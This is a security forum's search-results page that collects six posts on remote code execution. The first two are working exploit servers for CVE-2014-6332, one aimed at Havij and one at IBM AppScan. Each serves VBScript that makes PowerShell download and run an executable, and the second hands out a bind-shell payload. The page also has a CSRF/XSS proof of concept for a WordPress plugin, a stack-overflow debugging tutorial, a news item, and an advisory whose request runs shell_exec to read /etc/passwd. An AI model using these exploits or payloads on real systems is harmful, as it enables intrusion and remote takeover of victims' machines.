Jump to content

Search the Community

Showing results for tags 'execution'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Informatii generale
    • Anunturi importante
    • Bine ai venit
    • Proiecte RST
  • Sectiunea tehnica
    • Exploituri
    • Challenges (CTF)
    • Bug Bounty
    • Programare
    • Securitate web
    • Reverse engineering & exploit development
    • Mobile security
    • Sisteme de operare si discutii hardware
    • Electronica
    • Wireless Pentesting
    • Black SEO & monetizare
  • Tutoriale
    • Tutoriale in romana
    • Tutoriale in engleza
    • Tutoriale video
  • Programe
    • Programe hacking
    • Programe securitate
    • Programe utile
    • Free stuff
  • Discutii generale
    • RST Market
    • Off-topic
    • Discutii incepatori
    • Stiri securitate
    • Linkuri
    • Cosul de gunoi
  • Club Test's Topics
  • Clubul saraciei absolute's Topics
  • Chernobyl Hackers's Topics
  • Programming & Fun's Jokes / Funny pictures (programming related!)
  • Programming & Fun's Programming
  • Programming & Fun's Programming challenges
  • Bani pă net's Topics
  • Cumparaturi online's Topics
  • Web Development's Forum
  • 3D Print's Topics

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


Website URL


Yahoo


Jabber


Skype


Location


Interests


Biography


Location


Interests


Occupation

Found 6 results

  1. #!/usr/bin/php <?php # Title : Havij OLE Automation Array Remote Code Execution # Affected Versions: All Version # Founder : ITSecTeam # Tested on Windows 7 / Server 2008 # # # Author : Mohammad Reza Espargham # Linkedin : https://ir.linkedin.com/in/rezasp # E-Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com # Website : www.reza.es # Twitter : https://twitter.com/rezesp # FaceBook : https://www.facebook.com/mohammadreza.espargham # # # OleAut32.dll Exploit MS14-064 CVE2014-6332 # # # 1 . run php code : php havij.php # 2 . open "Havij" and Enter your exploit link http://ipaddress:80/ # 3 . go to "Setting" and Click "Load Cookie" # 4 . Your Link Download/Execute on your target # 5 . Finished #Youtube : https://www.youtube.com/watch?v=svU8SuJhaVY $port=80; # Port Address $link="http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe"; # Your exe link $reza = socket_create(AF_INET, SOCK_STREAM, 0) or die('Failed to create socket!'); socket_bind($reza, 0,$port); socket_listen($reza); print " Mohammad Reza Espargham\n www.reza.es\n\nYour Link = http://ipaddress:$port / http://127.0.0.1:$port\n\n"; $msg = 'PGh0bWw+CjxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9RW11 bGF0ZUlFOCIgPgo8aGVhZD4KPC9oZWFkPgo8Ym9keT4KIAo8U0NSSVBUIExBTkdVQUdFPSJWQlNj cmlwdCI+CgpmdW5jdGlvbiBydW5tdW1hYSgpIApPbiBFcnJvciBSZXN1bWUgTmV4dApzZXQgc2hl bGw9Y3JlYXRlb2JqZWN0KCJTaGVsbC5BcHBsaWNhdGlvbiIpCmNvbW1hbmQ9Ikludm9rZS1FeHBy ZXNzaW9uICQoTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKCdG SUxFX0RPV05MT0FEJywnbG9hZC5leGUnKTskKE5ldy1PYmplY3QgLWNvbSBTaGVsbC5BcHBsaWNh dGlvbikuU2hlbGxFeGVjdXRlKCdsb2FkLmV4ZScpOyIKc2hlbGwuU2hlbGxFeGVjdXRlICJwb3dl cnNoZWxsLmV4ZSIsICItQ29tbWFuZCAiICYgY29tbWFuZCwgIiIsICJydW5hcyIsIDAKZW5kIGZ1 bmN0aW9uCjwvc2NyaXB0PgogCjxTQ1JJUFQgTEFOR1VBR0U9IlZCU2NyaXB0Ij4KICAKZGltICAg YWEoKQpkaW0gICBhYigpCmRpbSAgIGEwCmRpbSAgIGExCmRpbSAgIGEyCmRpbSAgIGEzCmRpbSAg IHdpbjl4CmRpbSAgIGludFZlcnNpb24KZGltICAgcm5kYQpkaW0gICBmdW5jbGFzcwpkaW0gICBt eWFycmF5CiAKQmVnaW4oKQogCmZ1bmN0aW9uIEJlZ2luKCkKICBPbiBFcnJvciBSZXN1bWUgTmV4 dAogIGluZm89TmF2aWdhdG9yLlVzZXJBZ2VudAogCiAgaWYoaW5zdHIoaW5mbywiV2luNjQiKT4w KSAgIHRoZW4KICAgICBleGl0ICAgZnVuY3Rpb24KICBlbmQgaWYKIAogIGlmIChpbnN0cihpbmZv LCJNU0lFIik+MCkgICB0aGVuIAogICAgICAgICAgICAgaW50VmVyc2lvbiA9IENJbnQoTWlkKGlu Zm8sIEluU3RyKGluZm8sICJNU0lFIikgKyA1LCAyKSkgICAKICBlbHNlCiAgICAgZXhpdCAgIGZ1 bmN0aW9uICAKICAgICAgICAgICAgICAKICBlbmQgaWYKIAogIHdpbjl4PTAKIAogIEJlZ2luSW5p dCgpCiAgSWYgQ3JlYXRlKCk9VHJ1ZSBUaGVuCiAgICAgbXlhcnJheT0gICAgICAgIGNocncoMDEp JmNocncoMjE3NikmY2hydygwMSkmY2hydygwMCkmY2hydygwMCkmY2hydygwMCkmY2hydygwMCkm Y2hydygwMCkKICAgICBteWFycmF5PW15YXJyYXkmY2hydygwMCkmY2hydygzMjc2NykmY2hydygw MCkmY2hydygwKQogCiAgICAgaWYoaW50VmVyc2lvbjw0KSB0aGVuCiAgICAgICAgIGRvY3VtZW50 LndyaXRlKCI8YnI+IElFIikKICAgICAgICAgZG9jdW1lbnQud3JpdGUoaW50VmVyc2lvbikKICAg ICAgICAgcnVuc2hlbGxjb2RlKCkgICAgICAgICAgICAgICAgICAgIAogICAgIGVsc2UgIAogICAg ICAgICAgc2V0bm90c2FmZW1vZGUoKQogICAgIGVuZCBpZgogIGVuZCBpZgplbmQgZnVuY3Rpb24K IApmdW5jdGlvbiBCZWdpbkluaXQoKQogICBSYW5kb21pemUoKQogICByZWRpbSBhYSg1KQogICBy ZWRpbSBhYig1KQogICBhMD0xMysxNypybmQoNikKICAgYTM9NyszKnJuZCg1KQplbmQgZnVuY3Rp b24KIApmdW5jdGlvbiBDcmVhdGUoKQogIE9uIEVycm9yIFJlc3VtZSBOZXh0CiAgZGltIGkKICBD cmVhdGU9RmFsc2UKICBGb3IgaSA9IDAgVG8gNDAwCiAgICBJZiBPdmVyKCk9VHJ1ZSBUaGVuCiAg ICAgICBDcmVhdGU9VHJ1ZQogICAgICAgRXhpdCBGb3IKICAgIEVuZCBJZiAKICBOZXh0CmVuZCBm dW5jdGlvbgogCnN1YiB0ZXN0YWEoKQplbmQgc3ViCiAKZnVuY3Rpb24gbXlkYXRhKCkKICAgIE9u IEVycm9yIFJlc3VtZSBOZXh0CiAgICAgaT10ZXN0YWEKICAgICBpPW51bGwKICAgICByZWRpbSAg UHJlc2VydmUgYWEoYTIpICAKICAgCiAgICAgYWIoMCk9MAogICAgIGFhKGExKT1pCiAgICAgYWIo MCk9Ni4zNjU5ODczNzQzNzgwMUUtMzE0CiAKICAgICBhYShhMSsyKT1teWFycmF5CiAgICAgYWIo Mik9MS43NDA4ODUzNDczMTMyNEUtMzEwICAKICAgICBteWRhdGE9YWEoYTEpCiAgICAgcmVkaW0g IFByZXNlcnZlIGFhKGEwKSAgCmVuZCBmdW5jdGlvbiAKIAogCmZ1bmN0aW9uIHNldG5vdHNhZmVt b2RlKCkKICAgIE9uIEVycm9yIFJlc3VtZSBOZXh0CiAgICBpPW15ZGF0YSgpICAKICAgIGk9cnVt KGkrOCkKICAgIGk9cnVtKGkrMTYpCiAgICBqPXJ1bShpKyZoMTM0KSAgCiAgICBmb3Igaz0wIHRv ICZoNjAgc3RlcCA0CiAgICAgICAgaj1ydW0oaSsmaDEyMCtrKQogICAgICAgIGlmKGo9MTQpIHRo ZW4KICAgICAgICAgICAgICBqPTAgICAgICAgICAgCiAgICAgICAgICAgICAgcmVkaW0gIFByZXNl cnZlIGFhKGEyKSAgICAgICAgICAgICAKICAgICBhYShhMSsyKShpKyZoMTFjK2spPWFiKDQpCiAg ICAgICAgICAgICAgcmVkaW0gIFByZXNlcnZlIGFhKGEwKSAgCiAKICAgICBqPTAgCiAgICAgICAg ICAgICAgaj1ydW0oaSsmaDEyMCtrKSAgIAogICAgICAgICAgCiAgICAgICAgICAgICAgIEV4aXQg Zm9yCiAgICAgICAgICAgZW5kIGlmCiAKICAgIG5leHQgCiAgICBhYigyKT0xLjY5NzU5NjYzMzE2 NzQ3RS0zMTMKICAgIHJ1bm11bWFhKCkgCmVuZCBmdW5jdGlvbgogCmZ1bmN0aW9uIE92ZXIoKQog ICAgT24gRXJyb3IgUmVzdW1lIE5leHQKICAgIGRpbSB0eXBlMSx0eXBlMix0eXBlMwogICAgT3Zl cj1GYWxzZQogICAgYTA9YTArYTMKICAgIGExPWEwKzIKICAgIGEyPWEwKyZoODAwMDAwMAogICAK ICAgIHJlZGltICBQcmVzZXJ2ZSBhYShhMCkgCiAgICByZWRpbSAgIGFiKGEwKSAgICAgCiAgIAog ICAgcmVkaW0gIFByZXNlcnZlIGFhKGEyKQogICAKICAgIHR5cGUxPTEKICAgIGFiKDApPTEuMTIz NDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwCiAgICBhYShhMCk9MTAKICAgICAgICAgICAKICAg IElmKElzT2JqZWN0KGFhKGExLTEpKSA9IEZhbHNlKSBUaGVuCiAgICAgICBpZihpbnRWZXJzaW9u PDQpIHRoZW4KICAgICAgICAgICBtZW09Y2ludChhMCsxKSoxNiAgICAgICAgICAgICAKICAgICAg ICAgICBqPXZhcnR5cGUoYWEoYTEtMSkpCiAgICAgICAgICAgaWYoKGo9bWVtKzQpIG9yIChqKjg9 bWVtKzgpKSB0aGVuCiAgICAgICAgICAgICAgaWYodmFydHlwZShhYShhMS0xKSk8PjApICBUaGVu ICAgIAogICAgICAgICAgICAgICAgIElmKElzT2JqZWN0KGFhKGExKSkgPSBGYWxzZSApIFRoZW4g ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICB0eXBlMT1WYXJUeXBlKGFhKGExKSkKICAg ICAgICAgICAgICAgICBlbmQgaWYgICAgICAgICAgICAgICAKICAgICAgICAgICAgICBlbmQgaWYK ICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICByZWRpbSAgUHJlc2VydmUgYWEoYTApCiAgICAg ICAgICAgICBleGl0ICBmdW5jdGlvbgogCiAgICAgICAgICAgZW5kIGlmIAogICAgICAgIGVsc2UK ICAgICAgICAgICBpZih2YXJ0eXBlKGFhKGExLTEpKTw+MCkgIFRoZW4gICAgCiAgICAgICAgICAg ICAgSWYoSXNPYmplY3QoYWEoYTEpKSA9IEZhbHNlICkgVGhlbgogICAgICAgICAgICAgICAgICB0 eXBlMT1WYXJUeXBlKGFhKGExKSkKICAgICAgICAgICAgICBlbmQgaWYgICAgICAgICAgICAgICAK ICAgICAgICAgICAgZW5kIGlmCiAgICAgICAgZW5kIGlmCiAgICBlbmQgaWYKICAgICAgICAgICAg ICAgCiAgICAgCiAgICBJZih0eXBlMT0maDJmNjYpIFRoZW4gICAgICAgICAKICAgICAgICAgIE92 ZXI9VHJ1ZSAgICAgIAogICAgRW5kIElmICAKICAgIElmKHR5cGUxPSZoQjlBRCkgVGhlbgogICAg ICAgICAgT3Zlcj1UcnVlCiAgICAgICAgICB3aW45eD0xCiAgICBFbmQgSWYgIAogCiAgICByZWRp bSAgUHJlc2VydmUgYWEoYTApICAgICAgICAgIAogICAgICAgICAKZW5kIGZ1bmN0aW9uCiAKZnVu Y3Rpb24gcnVtKGFkZCkgCiAgICBPbiBFcnJvciBSZXN1bWUgTmV4dAogICAgcmVkaW0gIFByZXNl cnZlIGFhKGEyKSAgCiAgIAogICAgYWIoMCk9MCAgIAogICAgYWEoYTEpPWFkZCs0ICAgICAKICAg IGFiKDApPTEuNjk3NTk2NjMzMTY3NDdFLTMxMyAgICAgICAKICAgIHJ1bT1sZW5iKGFhKGExKSkg IAogICAgCiAgICBhYigwKT0wCiAgICByZWRpbSAgUHJlc2VydmUgYWEoYTApCmVuZCBmdW5jdGlv bgogCjwvc2NyaXB0PgogCjwvYm9keT4KPC9odG1sPg=='; $msgd=base64_decode($msg); $msgd=str_replace("FILE_DOWNLOAD",$link,$msgd); for ( { if ($client = @socket_accept($reza)) { socket_write($client, "HTTP/1.1 200 OK\r\n" . "Content-length: " . strlen($msgd) . "\r\n" . "Content-Type: text/html; charset=UTF-8\r\n\r\n" . $msgd); print "\n Target Checked Your Link \n"; } else usleep(100000); } ?>
  2. #!/usr/bin/python import BaseHTTPServer, socket ## # IBM Security AppScan Standard OLE Automation Array Remote Code Execution # # Author: Naser Farhadi # Linkedin: http://ir.linkedin.com/pub/naser-farhadi/85/b3b/909 # # Date: 1 June 2015 # Version: <= 9.0.2 # Tested on: Windows 7 # # Exploit Based on MS14-064 CVE-2014-6332 http://www.exploit-db.com/exploits/35229/ # if you able to exploit IE then you can exploit appscan and acunetix # This Python Script Will Start A Sample HTTP Server On Attacker Machine And Serves Exploit Code And # Metasploit windows/shell_bind_tcp Executable Payload # # Usage: # chmod +x appscan.py # ./appscan.py # ... # nc 172.20.10.14 333 # # Video: http://youtu.be/hPs1zQaBLMU ## class RequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): def do_GET(req): req.send_response(200) if req.path == "/payload.exe": req.send_header('Content-type', 'application/exe') req.end_headers() exe = open("payload.exe", 'rb') req.wfile.write(exe.read()) exe.close() else: req.send_header('Content-type', 'text/html') req.end_headers() req.wfile.write("""Please scan me! <SCRIPT LANGUAGE="VBScript"> function runmumaa() On Error Resume Next set shell=createobject("Shell.Application") command="Invoke-Expression $(New-Object System.Net.WebClient).DownloadFile('http://"""+socket.gethostbyname(socket.gethostname())+"""/payload.exe',\ 'payload.exe');$(New-Object -com Shell.Application).ShellExecute('payload.exe');" shell.ShellExecute "powershell", "-Command " & command, "", "runas", 0 end function dim aa() dim ab() dim a0 dim a1 dim a2 dim a3 dim win9x dim intVersion dim rnda dim funclass dim myarray Begin() function Begin() On Error Resume Next info=Navigator.UserAgent if(instr(info,"Win64")>0) then exit function end if if (instr(info,"MSIE")>0) then intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2)) else exit function end if win9x=0 BeginInit() If Create()=True Then myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00) myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0) if(intVersion<4) then document.write("<br> IE") document.write(intVersion) runshellcode() else setnotsafemode() end if end if end function function BeginInit() Randomize() redim aa(5) redim ab(5) a0=13+17*rnd(6) a3=7+3*rnd(5) end function function Create() On Error Resume Next dim i Create=False For i = 0 To 400 If Over()=True Then ' document.write(i) Create=True Exit For End If Next end function sub testaa() end sub function mydata() On Error Resume Next i=testaa i=null redim Preserve aa(a2) ab(0)=0 aa(a1)=i ab(0)=6.36598737437801E-314 aa(a1+2)=myarray ab(2)=1.74088534731324E-310 mydata=aa(a1) redim Preserve aa(a0) end function function setnotsafemode() On Error Resume Next i=mydata() i=readmemo(i+8) i=readmemo(i+16) j=readmemo(i+&h134) for k=0 to &h60 step 4 j=readmemo(i+&h120+k) if(j=14) then j=0 redim Preserve aa(a2) aa(a1+2)(i+&h11c+k)=ab(4) redim Preserve aa(a0) j=0 j=readmemo(i+&h120+k) Exit for end if next ab(2)=1.69759663316747E-313 runmumaa() end function function Over() On Error Resume Next dim type1,type2,type3 Over=False a0=a0+a3 a1=a0+2 a2=a0+&h8000000 redim Preserve aa(a0) redim ab(a0) redim Preserve aa(a2) type1=1 ab(0)=1.123456789012345678901234567890 aa(a0)=10 If(IsObject(aa(a1-1)) = False) Then if(intVersion<4) then mem=cint(a0+1)*16 j=vartype(aa(a1-1)) if((j=mem+4) or (j*8=mem+8)) then if(vartype(aa(a1-1))<>0) Then If(IsObject(aa(a1)) = False ) Then type1=VarType(aa(a1)) end if end if else redim Preserve aa(a0) exit function end if else if(vartype(aa(a1-1))<>0) Then If(IsObject(aa(a1)) = False ) Then type1=VarType(aa(a1)) end if end if end if end if If(type1=&h2f66) Then Over=True End If If(type1=&hB9AD) Then Over=True win9x=1 End If redim Preserve aa(a0) end function function ReadMemo(add) On Error Resume Next redim Preserve aa(a2) ab(0)=0 aa(a1)=add+4 ab(0)=1.69759663316747E-313 ReadMemo=lenb(aa(a1)) ab(0)=0 redim Preserve aa(a0) end function </script>""") if __name__ == '__main__': sclass = BaseHTTPServer.HTTPServer server = sclass((socket.gethostbyname(socket.gethostname()), 80), RequestHandler) print "Http server started", socket.gethostbyname(socket.gethostname()), 80 try: server.serve_forever() except KeyboardInterrupt: pass server.server_close() Source
  3. https://wordpress.org/plugins/yet-another-related-posts-plugin/ Affected Versions <= 4.2.4 Description 'Yet Another Related Posts Plugin' options can be updated with no token/nonce protection which an attacker may exploit via tricking website's administrator to enter a malformed page which will change YARPP options, and since some options allow html the attacker is able to inject malformed javascript code which can lead to *code execution/administrator actions* when the injected code is triggered by an admin user. injected javascript code is triggered on any post page. Vulnerability Scope XSS RCE ( http://research.evex.pw/?vuln=14 ) Authorization Required None Proof of Concept <body onload="document.getElementById('payload_form').submit()" > <form id="payload_form" action="http://wpsite.com/wp-admin/options-general.php?page=yarpp" method="POST" > <input type='hidden' name='recent_number' value='12' > <input type='hidden' name='recent_units' value='month' > <input type='hidden' name='threshold' value='5' > <input type='hidden' name='weight[title]' value='no' > <input type='hidden' name='weight[body]' value='no' > <input type='hidden' name='tax[category]' value='no' > <input type='hidden' name='tax[post_tag]' value='consider' > <input type='hidden' name='auto_display_post_types[post]' value='on' > <input type='hidden' name='auto_display_post_types[/page][page]' value='on' > <input type='hidden' name='auto_display_post_types[attachment]' value='on' > <input type='hidden' name='auto_display_archive' value='true' > <input type='hidden' name='limit' value='1' > <input type='hidden' name='use_template' value='builtin' > <input type='hidden' name='thumbnails_heading' value='Related posts:' > <input type='hidden' name='no_results' value='<script>alert(1);</script>' > <input type='hidden' name='before_related' value='<script>alert(1);</script><li>' > <input type='hidden' name='after_related' value='</li>' > <input type='hidden' name='before_title' value='<script>alert(1);</script><li>' > <input type='hidden' name='after_title' value='</li>' > <input type='hidden' name='show_excerpt' value='true' > <input type='hidden' name='excerpt_length' value='10' > <input type='hidden' name='before_post' value='+<small>' > <input type='hidden' name='after_post' value='</small>' > <input type='hidden' name='order' value='post_date ASC' > <input type='hidden' name='promote_yarpp' value='true' > <input type='hidden' name='rss_display' value='true' > <input type='hidden' name='rss_limit' value='1' > <input type='hidden' name='rss_use_template' value='builtin' > <input type='hidden' name='rss_thumbnails_heading' value='Related posts:' > <input type='hidden' name='rss_no_results' value='No Results' > <input type='hidden' name='rss_before_related' value='<li>' > <input type='hidden' name='rss_after_related' value='</li>' > <input type='hidden' name='rss_before_title' value='<li>' > <input type='hidden' name='rss_after_title' value='</li>' > <input type='hidden' name='rss_show_excerpt' value='true' > <input type='hidden' name='rss_excerpt_length' value='10' > <input type='hidden' name='rss_before_post' value='+<small>' > <input type='hidden' name='rss_after_post' value='</small>' > <input type='hidden' name='rss_order' value='score DESC' > <input type='hidden' name='rss_promote_yarpp' value='true' > <input type='hidden' name='update_yarpp' value='Save Changes' > </form></body> Fix No Fix Available at The Moment. Timeline Notified Vendor - No Reply Notified Vendor Again- No Reply Publish Disclosure @evex_1337 [url]http://research.evex.pw/?vuln=15[/url]Homepage Source
  4. In the previous article, we learned about the basics of the Stack Based Buffer Overflow, such as analyzing the stack, creating breakpoints and analyzing the function call and registers. With the help of these skills, we will now see how we can manipulate the return addresses dynamically into the program. We will analyze a program in which a function ‘do_not_call’ is defined but has never been called throughout the program. So, our goal is to change the register address in a way so that this function is called and performs the operation which is given in the function. We will perform this task by manipulating the register addresses while the program is running. Let’s take a look at the program. We have already given the source code and the binary file of the program in the end of the article. You can download it here: Download As can be seen in the above screenshot, we have mentioned a number for each function. The description for the same is given below. First of all, we have created a function “do_not_call” which prints the message “Function do_not_call is called” by the printf command. This is another function. The name of this function is ‘function1?, which has the integer return type with one argument. In the next line we have created a local variable. This function prints the message “function1 is called”. This is the main function of the program. The program execution will begin with this function. First, we gave a command to print the message “Main function is called”, and in the next step we initialized the local variable. In the next line, we have called the ‘function1?. You must have noticed that we have not called the “do_not_call” function in our program. Let us verify it by running the program normally. As we can see in the above screenshot, when we run the program normally, it prints two messages, ‘Main Function is called’ and ‘Function1 is called’. Now, we will open the program in Immunity Debugger. After opening the program with Immunity Debugger, we can see four different screens. Each screen is showing a different kind of program data. If we scroll down the first screen we can see all assembly language instructions as well as the strings we have used in the program. You can see the same in the screenshot given below. As can be seen in the above screenshot, the main function starts by pushing the EBP resister into the memory and ends at the RETN instruction. For a better understanding, we have created a table in which we have the starting and ending address of all the functions defined in our program. Function Name Function Starting Address Function Ending Address Main Function 004013C4 00401416 Function 1 004013A4 004013C4 Do_not_call 00401390 004013A3 Now we will make a list of all the function calls taking place in the program. After analyzing the main program, we can see the following function calls: After taking a close look at the above screenshot, we find that there are four function calls in the main program. If we closely look at the functions which are being called, then in the fourth function call, we can see that it is calling to ‘Second.004013A4? in which the last 8 digit address is actually the starting address of ‘function1?. We can verify the same by checking the table we have created above. In simple terms, this statement is calling function1 as we have defined in the program source code. Now, we will create a break point to analyze the Stack, Return Addresses, etc. (We have already mentioned all the basics in the previous article, like what is a breakpoint and how do we create a breakpoint in the debugger, etc., so we are not going to cover this again in this article.) The following steps are mentioned below to further analysis. Create the breakpoint before the 4th function call. We can do this by clicking on the instruction and hitting the F2 key, after that run the program. We can run the program by pressing F9. Now, we can see the following screen in the debugger. As of now, the program execution control has reached that position where we have created the breakpoint. In screen 1, we have created the breakpoint on “00401401” and now the program has paused on this instruction. We can see in screen 2 the EIP register is pointing to the address at which we have created the breakpoint. Now we will execute the instructions step by step for understanding the concept more clearly. Let us execute the next instruction; we can do this by pressing the F7 key, which is Step into. As we can see, execution control is pointing to the next instruction in screen 1 and EIP is also pointing to the instruction address. Now, the execution control would go to address “004013A4? which is the starting address of the function1. We will now execute it and see what changes we come across. Again hit the F7 key to execute the next instruction. We get the following output screen. This step is very critical and important to understand. As can be seen in the above screenshot, the execution pointer has switched from 00401408 (No-1) to 004013A4 (No-2) which is the starting point of ‘function1?. Also, when we take a look at screen 4 we see that the Top of the Stack (No-3) is pointing the address 0040140D (No-4), which is the next instruction from the function call. This address is also called the return address to the main program. It means that after the execution of ‘function1? is complete, then the execution control would switch to this address. If we change this return address, we can actually change the order of execution of the program. So, let us change the return address in the debugger with the address of the ‘do_not_call’ function address which was in the above table. The function “do_not_call” address is: “00401390” To change the address, we will have to right click on the address and click on modify. After that, change the Hexadecimal value and then click on OK. Now, we can see our changes are reflected on screen 4. The top of the stack is pointing to the address of the ‘do_not_call’ function. This will allow us to execute the ‘do_not_call’ function, which was not supposed to be executed in the actual program. Now, we will execute each instruction step by step until we reach the RETN instruction. As we can see, program execution control has reached the RETN instruction. It means the function1 execution has completed and now the execution control will go to the main program (according to our program), but we had changed the return address in the previous step to the function ‘do_not_call’, so the execution control will go to the ‘do_not_call’ function and execute the instruction that it is defined to execute. So, let us execute next instruction step by step and we will see the ‘do_not_call’ function has successfully executed. We can verify the same by checking the output of the program. As can be seen in the above screenshot, by dynamically changing the return address of the program, we are successfully able to execute the function the program was not supposed to execute. So in this article we have learned… Monitoring and Analyzing the Register Value Analyzing Top of Stacks Changing the Return Address References https://www.owasp.org/index.php/Buffer_overflow_attack http://en.wikipedia.org/wiki/C_file_input/output http://www.exploit-db.com/ http://www.pentesteracademy.com/ Source
  5. Attackers are targeting a patched remote code execution vulnerability in Elasticsearch that grants unauthenticated bad guys access through a buggy API. The flaw (CVE-2015-1427) within the world's number two enterprise search engine was patched last month. It relates, for folks at Mitre say, to the Groovy scripting engine in Elasticsearch before versions 1.3.8 and 1.4.3 in which sandbox protections could be bypassed, allowing the execution of arbitrary shell commands with a crafted script. The fixes disable Groovy sandboxing and dynamic script execution which ElasticSearch developer Clinton Gormley says is a "blow" to Elasticsearch. Texas hacker Jordan Wright (@jw_sec) explained the vulnerability reported by Cisco and Elasticsearch security bod Cameron Morris after he was targeted in attacks. In a post written to alert fellow users he says the patch could be reversed to find hints about how to exploit the flaw. "This vulnerability was not heavily advertised, but it is absolutely critical," Wright says. "In fact, I had one of my own Elasticsearch instances compromised this way, showing this vulnerability is heavily being exploited in the wild. "I won’t provide a full proof-of-concept, but all the pieces are here ... it is pretty straightforward to run whatever commands you want." Developer David Davidson published overnight to GitHub what he says is a functioning proof of concept. There is a "tonne" of publicly-accessible Elasticsearch instances, Wright says. He recommends on Reddit that users check /tmp folders to ensure it is not accessible over the internet. "I've been seeing a ton of attempts to download skiddie DDoS bots via wget to /tmp in the past week or so," he says. Gormley says the company is in the long term examining ways to improve Expressions to become a more-powerful safe "mini-language". Source
  6. -----BEGIN PGP SIGNED MESSAGE----- Hash: RIPEMD160 PHP Code Execution in jui_filter_rules Parsing Library ====================================================== Researcher: Timo Schmid <tschmid@ernw.de> Description =========== jui_filter_rules[1] is a jQuery plugin which allows users to generate a ruleset which could be used to filter datasets inside a web application. The plugin also provides a PHP library to turn the user submitted ruleset into SQL where statements for server side filtering. This PHP library contains a feature which allows to convert the submitted filter values with server side functions. These functions can be specified within the ruleset, which leads to an arbitrary PHP code execution. Exploitation Technique ====================== Remote Severity Level ============== Critical CVSS Base Score =============== 6.8 (AV:N / AC:M / Au:N / C:P / I:P / A:P) CVE-ID ====== <unassigned> Impact ====== By using the provided rule parsing library to generate SQL statements, an attacker is capable of executing arbitrary PHP code in the context of the web server. This could lead to a full compromise of the web server. The attack vector could be limited by existing validation mechanisms around the library, but this would require a partial manual parsing of the user supplied rules. Status ====== Reported Vulnerable Code Section ======================= server_side/php/jui_filter_rules.php: [...] private function create_filter_value_sql($filter_type, $operator_type, ... [...] if(is_array($filter_value_conversion_server_side)) { $function_name = $filter_value_conversion_server_side['function_name']; $args = $filter_value_conversion_server_side['args']; $arg_len = count($args); for($i = 0; $i < $vlen; $i++) { // create arguments values for this filter value $conversion_args = array(); for($a = 0; $a < $arg_len; $a++) { if(array_key_exists('filter_value', $args[$a])) { array_push($conversion_args, $a_values[$i]); } if(array_key_exists('value', $args[$a])) { array_push($conversion_args, $args[$a]['value']); } } // execute user function and assign return value to filter value try { $a_values[$i] = call_user_func_array($function_name, $conversion_args); } catch(Exception $e) { $this->last_error = array( 'element_rule_id' => $element_rule_id, 'error_message' => $e->getMessage() ); break; } } } [...] The provided PHP parsing library allows to specify a PHP function to convert the supplied filter value on the server side. This leads ultimatively to code execution through attacker supplied input. As no whitelist approach is used, any existing PHP function could be executed (including shell commands). Proof of Concept ================ Using the demo application from the git repository: Executing shell_exec('cat /etc/passwd') Request: POST /ajax_create_sql.dist.php HTTP/1.0 host: http://www.example.com X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded Content-Length: 471 a_rules%5B0%5D%5Bfilter_value_conversion_server_side%5D%5Bfunction_name%5D=she ll_exec&a_rules%5B0%5D%5Bcondition%5D%5BfilterValue%5D=&a_rules%5B0%5D%5Bfilte r_value_conversion_server_side%5D%5Bargs%5D%5B0%5D%5Bvalue%5D=cat+%2Fetc%2Fpas swd&pst_placeholder=question_mark&a_rules%5B0%5D%5Belement_rule_id%5D=foo&use_ ps=yes&a_rules%5B0%5D%5Bcondition%5D%5Bfield%5D=some_field&a_rules%5B0%5D%5Bco ndition%5D%5Boperator%5D=equal&a_rules%5B0%5D%5Bcondition%5D%5BfilterType%5D=d ate Response: HTTP/1.1 200 OK Date: Tue, 13 Jan 2015 02:12:33 GMT Server: Apache/2.2.22 (Debian) Content-Length: 530 Content-Type: text/html {"sql":"WHERE \nsome_field = ?","bind_params":"root:x:0:0:admin COSMOS:/root:/ bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/bin/sh\nbin:x:2:2:bin:/bin:/bin/sh\ns ys:x:3:3:sys:/dev:/bin/sh\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:ga mes:/usr/games:/bin/sh\nman:x:6:12:man:/var/cache/man:/bin/sh\nlp:x:7:7:lp:/va r/spool/lpd:/bin/sh\nmail:x:8:8:mail:/var/mail:/bin/sh\nnews:x:9:9:news:/var/s pool/news:/bin/sh\nuucp:x:10:10:uucp:/var/spool/uucp:/bin/sh\nproxy:x:13:13:pr oxy:/bin:/bin/sh\nwww-data:x:33:33:www-data:/var/www:/bin/sh"} Solution ======== This functionality should generally be removed or replaced by a mapping/ whitelist approach and strict type filtering to prevent arbitrary code execution. Affected Versions ================= >= git commit b1e795eeba1bac2f9b0d383cd3da24d6d26ccb4b < 1.0.6 (commit 0b61463cd02cc1814046b516242779b29ba7d1e1) Timeline ======== 2015-01-12: Vulnerability found 2015-01-13: Developer informed 2015-02-14: Fixed in version 1.0.6 (git 0b61463cd02cc1814046b516242779b29ba7d1e1) References ========== [1] http://www.pontikis.net/labs/jui_filter_rules [2] https://www.owasp.org/index.php/Code_Injection [3] https://www.ernw.de/download/BC-1501.txt [4] https://bufferoverflow.eu/BC-1501.txt Advisory-ID =========== BC-1501 Disclaimer ========== The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/ distributor be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information. - -- Timo Schmid ERNW GmbH, Carl-Bosch-Str. 4, 69115 Heidelberg - www.ernw.de Tel. +49 6221 48039-0 (HQ) - Fax +49 6221 419008 - Cell +49 151 16227192 PGP-FP 971B D4F7 5DD1 FCED 11FC 2C61 7AB6 927D 6F26 6CE0 Handelsregister Mannheim: HRB 337135 Geschaeftsfuehrer: Enno Rey ============================================================== || Blog: www.insinuator.net | | 